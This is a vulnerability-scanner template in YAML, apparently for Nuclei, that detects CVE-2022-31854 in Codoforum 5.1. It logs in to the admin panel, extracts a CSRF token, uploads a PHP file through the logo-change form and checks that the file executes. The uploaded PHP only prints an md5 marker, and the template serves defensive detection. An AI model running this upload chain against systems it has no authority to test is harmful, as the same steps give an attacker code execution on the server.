95 lines
3.2 KiB
YAML
95 lines
3.2 KiB
YAML
id: CVE-2022-31854
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info:
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name: Codoforum 5.1 - Arbitrary File Upload
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author: theamanrawat
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severity: high
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description: |
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Codoforum 5.1 contains an arbitrary file upload vulnerability via the logo change option in the admin panel. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code. As a result, an attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
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remediation: |
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Apply the latest security patch or upgrade to a patched version of Codoforum.
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reference:
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- https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip
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- https://codoforum.com
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- https://vikaran101.medium.com/codoforum-v5-1-authenticated-rce-my-first-cve-f49e19b8bc
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- https://nvd.nist.gov/vuln/detail/CVE-2022-31854
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7.2
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cve-id: CVE-2022-31854
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cwe-id: CWE-434
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epss-score: 0.062
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epss-percentile: 0.92796
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cpe: cpe:2.3:a:codologic:codoforum:5.1:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 4
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vendor: codologic
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product: codoforum
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tags: cve,cve2022,rce,codoforumrce,authenticated,intrusive
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http:
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- raw:
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- |
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POST /admin/?page=login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryACGPpj7UIqmtLNbB
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------WebKitFormBoundaryACGPpj7UIqmtLNbB
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Content-Disposition: form-data; name="username"
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{{username}}
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------WebKitFormBoundaryACGPpj7UIqmtLNbB
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Content-Disposition: form-data; name="password"
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{{password}}
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------WebKitFormBoundaryACGPpj7UIqmtLNbB--
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- |
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GET /admin/index.php?page=config HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /admin/index.php?page=config HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoLtdjuqj2ixPvBhA
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------WebKitFormBoundaryoLtdjuqj2ixPvBhA
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Content-Disposition: form-data; name="site_title"
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------WebKitFormBoundaryoLtdjuqj2ixPvBhA
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Content-Disposition: form-data; name="forum_logo"; filename="{{randstr}}.php"
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Content-Type: application/x-httpd-php
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<?php
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echo md5('CVE-2022-31854');
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?>
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------WebKitFormBoundaryoLtdjuqj2ixPvBhA
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Content-Disposition: form-data; name="CSRF_token"
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{{csrf}}
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------WebKitFormBoundaryoLtdjuqj2ixPvBhA--
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- |
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GET /sites/default/assets/img/attachments/{{randstr}}.php HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers:
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- type: dsl
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dsl:
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- status_code_4 == 200
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- contains(content_type_4, "text/html")
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- contains(body_4, "a63fd49130de6406a66600cd8caa162f")
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condition: and
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extractors:
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- type: regex
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name: csrf
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group: 1
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regex:
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- name="CSRF_token" value="([0-9a-zA-Z]+)"/>
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internal: true
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# digest: 4a0a00473045022100eab2e0a52373249908ee8c3d6fa3a0d02441f5757450605248a7f0f14ab4f59c02203d9f4efa0377ff5ead3efff10b0a8523791c617b110f04a1631550b3a3aa25c1:922c64590222798bb761d5b6d8e72950
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